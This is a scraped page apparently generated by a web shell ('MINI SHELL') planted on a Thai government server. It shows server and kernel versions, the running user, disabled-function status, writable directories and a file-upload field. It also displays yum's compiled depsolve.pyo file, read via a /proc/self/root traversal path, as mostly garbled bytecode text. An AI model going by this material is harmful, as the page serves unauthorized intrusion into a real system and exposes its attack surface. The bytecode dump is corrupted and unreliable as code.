MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /proc/self/root/proc/self/root/usr/lib/python2.4/site-packages/yum/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/proc/self/root/usr/lib/python2.4/site-packages/yum/depsolve.pyo
m
ODc@sdkZdkZdkZdkZdkZdkZdkZdkl	Z	dk
Z
dklZdk
lZdklZlZdkTdkZdefdYZdS(N(sunique(sListPackageSack(sPackageSackError(sDepErrors	RepoError(t*tDepsolvecBsztZdZdZdZdZdddZdZd	Zd
Z	dZ
dZd
ZdZ
RS(NcCs|t_d|_dS(N(tselftpackagestbasetNonet
dsCallback(R((t0/usr/lib/python2.4/site-packages/yum/depsolve.pyt__init__#s	cCstii|ii|_hdti<dti	<dti
<dti<dti<}|iidxP|iiD]B}|i|o|ii||qz|idd|qzWdS(	s)sets up the ts we'll use for all the workt	noscriptst
notriggerstnodocsttestt	repackageis!Invalid tsflag in config file: %sN(trpmUtilsttransactiontTransactionWrapperRtconftinstallrootttstrpmtRPMTRANS_FLAG_NOSCRIPTStRPMTRANS_FLAG_NOTRIGGERStRPMTRANS_FLAG_NODOCStRPMTRANS_FLAG_TESTtRPMTRANS_FLAG_REPACKAGEtts_flags_to_rpmtsetFlagsttsflagstflagthas_keyt	addTsFlagterrorlog(RRR((RtinitActionTs'sB
cCs|idd||ddjohd}
dddg}x7|D]/}ti|}|i	|o
d}
qAqAW|
p|i
qn|ii|}
|djo
d}nt|titifjotii|\}	}}n3t|titifjo|\}	}}nt}x|
D]}|id	d
||f|ddjo!|djo|i |q6n|i!d|||	||ffo+|i ||idd
||fq6q6W|S(ssearches the packageSacks for what provides the arguments
           returns a ListPackageSack of providing packages, possibly emptyisSearching pkgSack for dep: %sit/s	.*bin\/.*s
^\/etc\/.*s^\/usr\/lib\/sendmail$iisPotential match for %s from %stprovidesisMatched %s to require for %sN("RtlogtnametmatchedtglobstglobtretcompiletglobctmatchtdoSackFilelistPopulatetpkgSacktsearchProvidestpkgstflagsRttypetversionttypest
StringTypetNoneTypeRt	miscutilststringToVersiontr_etr_vtr_rt	TupleTypetListTypetListPackageSacktdefSacktpot
addPackaget	checkPrco(RR%R1R3R?R@R+R;R:R9R0R'R(R&((RtwhatProvides9s<

	
%
"csL|iiijodSn|i}td|odSndS(stakes a packageObject, returns 1 or 0 depending on if the package 
           should/can be installed multiple times with different vers
           like kernels and kernel modules, for exampleics|iijS(N(tprovRRtinstallonlypkgs(RD(R(Rt<lambda>msiN(R@R%RRREtgetProvidesNamesR#tfilter(RR@R#((RRtallowedMultipleInstallsdsiic
Cs|io|iinh}|ox|iD]}|i}	|	djo
d}	n|i
|i|	|i|i
f}|idjo
d}n|idjo
d}nd|||f<q2Wnx|iiD]}
|idd|
|
iddgjo|i|
idfoqn|i|
i|
ii}|
ii}|
idjoD|i|
io-|id	d
|
id|
_t|
_ qn|ii!|||f|
i|idd|
i|
if|io|ii"|
i|
iqq|
idgjo|i|
i|
ifoqn|i#i$|
i}x]|D]Q}|ii'||io|ii"|
idn|idd
|
iqxWqqWdS(s7take transactionData class and populate transaction sett0itiiteis
Member: %stuis%s converted to installisAdding Package %s in mode %ssRemoving Package %sN((RRttransactionPopulationtts_elemtkeepoldRttetEtepochRtNtAtVtRtpkginfotTypetmodettsInfot
getMembersttxmbrR$tts_stateRtpkgtuptdownloadHeaderR@treturnLocalHeaderthdrtlocalPkgtrpmfileRIt
TS_INSTALLtoutput_statet
addInstalltpkgAddedtrpmdbtreturnIndexByTupletindexestidxtaddErase(
RRRPRORbRlRXRdRkRSR]RZRQ((Rt
populateTsrsX



-

	 
!
cCsDd}d}d}g}d}g}|io|iinx|djoh|_	|i
dd|io|iin|ii
}|pt|i_ddgfSnt|}||jo|d7}|idd||djo|idx|D]}|\\}}
}\}	}
}}}|tijo&d	|t i!i"|	|
|f}n7|ti$jo&d
|t i!i"|	|
|f}n|i|qWd}Pqnd}|}d}|iddt%|d}xH|D]@}|\\}}
}\}	}
}}}|d7}|idd
|t%|f|tijoGt(|dp|i)|i*n|i+|\}}}}nI|ti$jo|i0|\}}}}n|i1dd|q||7}||7}||7}x,|D]$}||jo|i|qqWqW|idd||idd||idd||djo/|io|ii3n|iddn,|io|ii4n|idd~qBWt|i_t%|djod|fSnt%|idjoddgfSndS(NiiRisSuccess - deps resolvedisIdentical Loop count = %dsUnable to satisfy dependenciess+Package %s needs %s, this is not available.sPackage %s conflicts with %s.is# of Deps = %ds
Dep Number: %d/%d
R.sUnknown Sense: %dis	miss = %ds	conf = %dsCheckDeps = %dsRestarting LoopsDependency Process endingsRun Callback(5t	CheckDepst	conflictst
missingdeptdepscopytunresolveableloopterrorsRRtstartt
cheaterlookupRnttscheckRtchecktdepstFalseR[tchangedtuniqueR$tappendtdeptupleR%R3treleasetneednametneedversionR1tsuggesttsenseRtRPMDEP_SENSE_REQUIRESRR7t
formatRequiretmsgtRPMDEP_SENSE_CONFLICTStlentdepcounttdepthasattrtdoRepoSetuptdoSackSetupt_processReqtcheckdeptmissingtconflictt	errormsgst_processConflictR terrortrestartLooptend(RRoRsRRRRqRtRRR3RRRRRrRpRR%RR1RyRRR~((RtresolveDepss

	




$	$
 







c Csd}d}d}g}|\\}}
}\}	}}}}t
ii|	||}|idd||f|io|ii||ng}|iid|d|
d|}x|D]}|idd||ii|}xr|D]j}ti|}|i i!|i"o|id	d
|qn||i#jo|i$|qqWqWt%|djok|i i&d|d|
d|}t%|djo@d||
|f}
|id|
|i$|
d}d}q|d}|idd
|i*djoAd|id}
|id|
d}d}||||fSq|idd||
||i*f|iddt
ii|	|||	||f}||
||i*f}|i-|||\}}nt%|djot%|djo|idd||
|fx|D]}|i"\}}}}}|i i3d|d|}|dj	o.|idd||f|i6|q*q*|idd|q*Wnt%|djo"|d}|idd|nt%|djo|d}n'|i7ddd}||||fS|idd||iddt
ii|	|||	||f}|i8|i"||\}}n||||fS(sprocesses a Requires dep from the resolveDeps functions, returns a tuple
           of (CheckDeps, missingdep, conflicts, errors) the last item is an array
           of error messagesiis%s requires: %sR%tvertrelis3Calling rpmdb.returnHeaderByTuple on %s.%s %s:%s-%sis/Skipping package already in Transaction Set: %sis`Requiring package %s-%s-%s not in transaction set                                   nor in rpmdbs)Requiring package is from transaction setRLs)Requiring package %s is set to be erased,s6probably processing an old dep, restarting loop early.is5Resolving for requiring package: %s-%s-%s in state %ssResolving for requirement: %ss!Multiple Packages match. %s-%s-%starchs    %s already in ts %s, skippings   %ss"Requiring package is installed: %ss<All pkgs in depset are also in tsInfo, this is wrong and bads-Resolving for installed requiring package: %sN(9RoRqRpRRR%R3RRRR1RRRR7RtniceformatneedRR$RtprocReqR0RitreturnTupleByKeywordt
dumbmatchpkgstpkgtupletreturnHeaderByTuplethdrsRbRtYumInstalledPackageR@R[texistsR_trequiresListR}Rt
matchNaevrttxmbrsRR]R^trequirementTupletrequiringPkgt_requiringFromTransactiontntaRLtvtrtgetModetthismodeRtremoveR t_requiringFromInstalled( RRRoRRRRqRRRR3RR0RRR@RRRRRpRRbRRLR%RRR1RRR]((RRs$
!!


#&


&c.Cs|\}%}!}}}|i|}|\}}$}t
ii|||$}d}d}|ii}d}d}g}|ii||$|fo3|idd|i||$|f},|,g}nt||jo:|iid|}xN|D]}+|i"|+i#qWn-|idd||ii$||$|}xi|D]a}d|}|\}}
}	}}|idd||ii,d|d|
d	|	d
|d|}|djo2||i.i/jo|ii,d|d|
}n|djo,||i.i/jo|ii,d|}n|dj	ov|}y|i|}Wn"t0j
o|i1|}nX||i||$|f<|idd|||fPqAqAW|idd
||f|dgjoF|idd||f|ii2|}+|+i3d|d}n|ddgjo|i4g}"|i.i6oH|i7i8i|i#o+|i7i8|i#}"|idd|qnt9|"djod}x|"D]}|i1|}qW|ox|i7i;D]\}}|i#|jof|ii>||}+|ii?|||+i3d||idd||fd}||fSqqWqlng}(|i7iAd|%}(d}t9|(djo|%|i.i/joq|iBiC|%}h}-x0|D](}
|
i#\}&}#} })}'|
|-|#<qWt
iiL|-iM}#|-|#}n|iBiN|%|!fd}|i#|(jo
d}q^n|owxj|i7iOD]Y\}}|i#|jo=|iiP||}+|+i3d||idd|ququWd}q|idd||%||df}*|iR|*||Sn|djoc|%||df}*tT|do|iR|*||Sq|idd|tUfd}d}n||fS(sbprocesses the dependency resolution for a dep where the requiring 
           package is installediis3Needed Require has already been looked up, cheatingR%s4Needed Require is not a package name. Looking up: %ss%s.%s %s:%s-%ssPotential Provider: %sRRSRRs!Mode is %s for provider of %s: %ssMode for pkg providing %s: %sRLs/TSINFO: %s package requiring %s marked as eraseR@iRKRMisLooking for Obsoletes for %ss-TSINFO: Obsoleting %s with %s to resolve dep.s#TSINFO: Updating %s to resolve dep.s*Cannot find an update path for dep for: %sR.s#Unresolveable requirement %s for %sN(VRR%RRSRRRtgetInstalledPackageObjecttrequiringPotrequirementRt	needflagsRRR7RRt	checkdepsRqRitgetNamePkgListt
rpmdbNamesRtneedmodetneedpot	providersRvRR$tcheater_tupR[RRR]R}R_RCt	insttupletinst_strti_nti_ati_eti_vti_rRRRt
exactarchlisttKeyErrortgetPackageObjectRmtsetAsDept
doUpdateSetuptobslistt	obsoletestuptobsoleted_dictRR@tgetObsoletesTuplestnewtoldt
addObsoletingtaddObsoletedtuplisttgetUpdatesListR.treturnNewestByNameR0tarchstpkgRRRLRRtgetBestArchFromListtkeystreturnNewestByNameArchtgetUpdatesTuplest	addUpdatetreqpkgRt	errorlistRtreqpkg_print(.RRRRRRRRRRRRRRRRRRqRRRRSR_R0RRR@RRRRRRLRRRRR%RRRRRR]RR((RRks


  
	





c*Cs|\}"}}'}(|\}}!}d}d}
|i||!|})x|)iD]}|i|iijo(|idd||)i|qOng}
|i|pq|i\}$} }}&}%|iid|id|i}
x|
D]}|i\}}}}}t%i&i'||&|%f|||f}|djo.d|}|id||)i|qqqW|ii*d|id|i}x|D]}}#|#\}}}}}t%i&i'||&|%f|||f}|djo.d|}|id||)i|qqqWqOqOWt2|)djoCd}
d	t%i&i3|||!|"f}|i5|||
fSnx|)iD]}|i\}$} }}&}%|ii6d|$d| d
|d|&d|%}|d
dgjo2|i8|idd|$d}||
fSqqW|)i9}t2|djo|d}	x|dD]}t2|it2|	ijo
|}	qLt2|it2|	ijo<t%ii=|i|	ig}||ijo
|}	qqLqLWn"t2|djo|d}	n|	i|iijo7d}
d}d	||"f}|i5|||
fSn|	i|	if|ii>jo:|idd|	|"f|ii?|	}|iAn7|idd|	|"f|iiB|	}|iAd}||
fS(skprocesses the dependency resolution for a dep where requiring 
           package is in the transaction setiisB%s is in providing packages but it is already installed, removing.R%Rs8Potential resolving package %s has newer instance in ts.s<Potential resolving package %s has newer instance installed.is.Missing Dependency: %s is needed by package %sRSRRRKRMs#%s already in ts, skipping this oneis#TSINFO: Marking %s as update for %ss$TSINFO: Marking %s as install for %sN(CRR%R3RttsStateRRRRRRqRRCtprovSacktreturnPackagesRR_Rit
getPkgListR$t
delPackagettspkgsRIRRRLRRR[RRttspkgttnttaRQttvttrRR7t
compareEVRtrcRRtdbpkgstdbpkgtuptdntdatdetdvtdrRRRR}RtpkgmodeRRtnewesttbestR@RtgetNameArchPkgListRR]RRg(*RRRRRRRRRRRqRRRRRR3RRRRQR@RRRRRR]RRLRRRRR%RRRRRRR((RRs

!'


!'


"

-



"
c#Csd}d}d}g}|\\}}}\}
}}}	}t
ii|
||}|io|ii||n|iid|
}|iid|d|d|}|d
jo
|}n|d
jo
|
}n|}d
}|i|iid|}|ii d|}!|!o|!d\}}}}}t&|djo||i'i(joq|i)i*|}
h}"x0|
D](}|i.\}}}}}||"|<q~Wt
i4i5|"i6}|"|}n|i)i7||fd}|i.|jo
d
}q
qn|o:|i8dd||ii9|} | i;d}nNt
ii|
||}|i<|||\}}|i8dd	||f||||fS(s6processes a Conflict dep from the resolveDeps() methodiR%RRis(TSINFO: Updating %s to resolve conflict.iis%s conflicts: %sN(=RoRqRpRRR%R3RRRR1RRRR7RRRRtprocConflictR[RRtconfmodeRtconfnameR@RRRRRiRt	conftupletconfarcht	confepochtconfvertconfrelRRRR.RR0RRR_RRRLRRRRRRR$RR]Rt_unresolveableConflict(#RRRoRRRRRRqRRRR3R0R@RRRRRRpRRRLR%RRRR1RRRR]RR((RR}sX$
!






cCsTd}d}d|||f}|i||i	o|i	i
|n||fS(Niis1Missing Dependency: %s needed for package %s (%s)(RoRqtreqR%t	namestateRRtR}RRt
unresolved(RRR%RRtRqRoR((Rt_unresolveableReqs

cCs3d}d}d||f}|i|||fS(Niis%s conflicts with %s(RoRpR%RRRtR}(RRR%RtRoRRp((RRs

(t__name__t
__module__RR!RCRIRnRRRRRRR(((RR"s			+	1	b	f			>	(tostos.pathR)R4trpmUtils.transactionRtrpmUtils.miscutilst
rpmUtils.archtmiscR|Rtrepomd.packageSackR>trepomd.mdErrorstPackageSackErrortErrorstDepErrort	RepoErrort	constantsRtobjectR(RRRR>R)RRRR|RR4R((Rt?s							
	

	

Anon7 - 2021